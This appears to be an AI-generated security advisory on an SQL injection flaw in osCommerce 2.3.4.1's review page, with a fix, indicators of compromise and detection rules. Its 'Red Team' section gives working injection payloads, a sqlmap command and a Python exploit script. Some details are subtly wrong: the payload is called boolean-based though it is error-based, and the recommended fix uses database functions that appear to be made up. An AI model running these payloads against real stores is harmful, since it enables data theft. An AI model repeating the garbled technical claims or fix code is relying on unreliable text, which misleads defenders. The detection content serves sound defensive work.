CVE-2019-25495

Executive Summary

CVE-2019-25495 is a critical SQL injection vulnerability in osCommerce 2.3.4.1, an open-source e-commerce platform. The flaw resides in the product_reviews_write.php script, where the reviews_id parameter is not properly sanitized before being used in a SQL query. An unauthenticated attacker can exploit this by sending a crafted GET request with a malicious reviews_id value, using boolean-based SQL injection techniques to extract sensitive data from the database, such as user credentials, customer information, and order details. The vulnerability has a CVSS score of 9.8 (Critical) due to network exploitability, low attack complexity, no privileges required, and no user interaction. No official patch has been released by the vendor, making this a high-priority threat for any organization running osCommerce 2.3.4.1.

Supply Chain & Package Security

osCommerce is a PHP-based e-commerce platform distributed as a self-hosted package. This vulnerability affects the core application, not a third-party plugin or library. Organizations using osCommerce 2.3.4.1 should treat this as a direct supply chain risk, as the vendor has not provided a patch. Immediate mitigation through Web Application Firewall (WAF) rules or code-level fixes is strongly recommended.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The high impact across all three security pillars (CIA) combined with the ease of exploitation makes this a critical threat. An attacker can fully compromise the database, leading to data breaches, defacement, or further server compromise.

Deep Dive & Mechanics

The vulnerability exists in the product_reviews_write.php file. The script accepts a reviews_id parameter via GET request and uses it directly in a SQL query without proper sanitization or parameterization. The vulnerable code snippet is:

$reviews_id = $_GET['reviews_id'];
$review_query = tep_db_query("select * from " . TABLE_REVIEWS . " where reviews_id = '" . $reviews_id . "'");

An attacker can inject SQL code by providing a value like:

1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) AS y) -- 

This boolean-based injection allows the attacker to infer information by observing the response (e.g., page content or error messages). The attacker can extract the database name, table names, column names, and ultimately sensitive data such as admin credentials and customer records.

Vulnerable vs. Patched Code

Vulnerable Code (osCommerce 2.3.4.1):

$reviews_id = $_GET['reviews_id'];
$review_query = tep_db_query("select * from " . TABLE_REVIEWS . " where reviews_id = '" . $reviews_id . "'");

Patched Code (Recommended Fix):

$reviews_id = (int)$_GET['reviews_id'];
$review_query = tep_db_query("select * from " . TABLE_REVIEWS . " where reviews_id = '" . (int)$reviews_id . "'");

Or better, using prepared statements:

$reviews_id = $_GET['reviews_id'];
$review_query = tep_db_prepare("select * from " . TABLE_REVIEWS . " where reviews_id = ?");
tep_db_execute($review_query, array($reviews_id));

The patched code casts the input to an integer, preventing any SQL injection. The recommended approach is to use prepared statements for all database queries.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install osCommerce 2.3.4.1 on a local server (e.g., XAMPP, LAMP).
2. Ensure the product_reviews_write.php file is accessible.
3. Use a tool like Burp Suite or SQLMap to test the vulnerability.

Exploitation Steps:

1. Identify the vulnerable endpoint: http://target/catalog/product_reviews_write.php?reviews_id=1
2. Confirm injection by sending: http://target/catalog/product_reviews_write.php?reviews_id=1'
   • If an error or different response is returned, the parameter is injectable.
3. Use boolean-based SQL injection to extract data. Example payload to check if the database name starts with 'o':

   http://target/catalog/product_reviews_write.php?reviews_id=1' AND SUBSTRING((SELECT database()),1,1)='o' -- 
   

4. Automate extraction using SQLMap:

   sqlmap -u "http://target/catalog/product_reviews_write.php?reviews_id=1" --batch --dbs
   

Exploit Code (Python):

import requests

target = "http://target/catalog/product_reviews_write.php"
payload = "1' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), FLOOR(RAND()*2)) AS x FROM information_schema.tables GROUP BY x) AS y) -- "
url = f"{target}?reviews_id={payload}"
response = requests.get(url)
print(response.text)

Blue Team

Detection:

• Monitor for GET requests to product_reviews_write.php with unusual reviews_id parameters (e.g., containing SQL keywords like AND, OR, SELECT, UNION, --).
• Look for repeated requests with varying reviews_id values, indicating automated scanning.
• Check for error messages in server logs that reveal SQL syntax errors.

Mitigation:

• Immediately apply the code fix (cast to integer or use prepared statements).
• Implement a Web Application Firewall (WAF) rule to block SQL injection patterns.
• Restrict access to product_reviews_write.php to authenticated users only if possible.

Indicators of Compromise (IOCs)

• Network IOCs:

  • GET requests to /catalog/product_reviews_write.php with reviews_id containing SQL keywords.
  • Repeated requests from the same IP with incremental or random reviews_id values.
  • Responses containing SQL error messages (e.g., "You have an error in your SQL syntax").

• File IOCs:

  • Modified product_reviews_write.php file (if attacker uploads a backdoor).
  • Suspicious files in the catalog/ directory (e.g., webshells).

• Database IOCs:

  • Unauthorized queries in database logs (e.g., SELECT * FROM customers).
  • New or modified admin accounts.

Detection Engineering

YARA Rule

rule oscommerce_sqli_reviews_id {
    meta:
        description = "Detects SQL injection attempts targeting osCommerce product_reviews_write.php reviews_id parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25495"
    strings:
        $sqli_pattern1 = /reviews_id=.*['\"]\s*(AND|OR)\s+/i
        $sqli_pattern2 = /reviews_id=.*['\"]\s*UNION\s+/i
        $sqli_pattern3 = /reviews_id=.*['\"]\s*--/i
        $sqli_pattern4 = /reviews_id=.*['\"]\s*#/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt on osCommerce product_reviews_write.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the reviews_id parameter in osCommerce 2.3.4.1
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2019-25495
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: GET
        cs-uri-query|contains: 
            - "product_reviews_write.php?reviews_id="
        cs-uri-query|re: 
            - ".*['\"]\\s*(AND|OR|UNION|--|#).*"
    condition: selection
falsepositives:
    - Legitimate use of special characters in reviews_id (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2019-25495 - osCommerce SQL Injection Attempt on product_reviews_write.php";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"product_reviews_write.php"; http_uri;
    content:"reviews_id="; http_uri;
    pcre:"/reviews_id=.*['\"]\s*(AND|OR|UNION|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Code Fix: Modify product_reviews_write.php to cast reviews_id to an integer or use prepared statements.
2. WAF Rule: Deploy a WAF rule to block requests containing SQL injection patterns in the reviews_id parameter.
3. Access Control: Restrict access to product_reviews_write.php to authenticated users only, if business logic allows.

Long-Term Actions:

1. Upgrade: Migrate to a supported e-commerce platform or apply community patches if available.
2. Security Audit: Conduct a full security audit of the osCommerce installation to identify other vulnerabilities.
3. Monitoring: Implement logging and monitoring for all database queries and web requests.

Valters IT Signature

This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.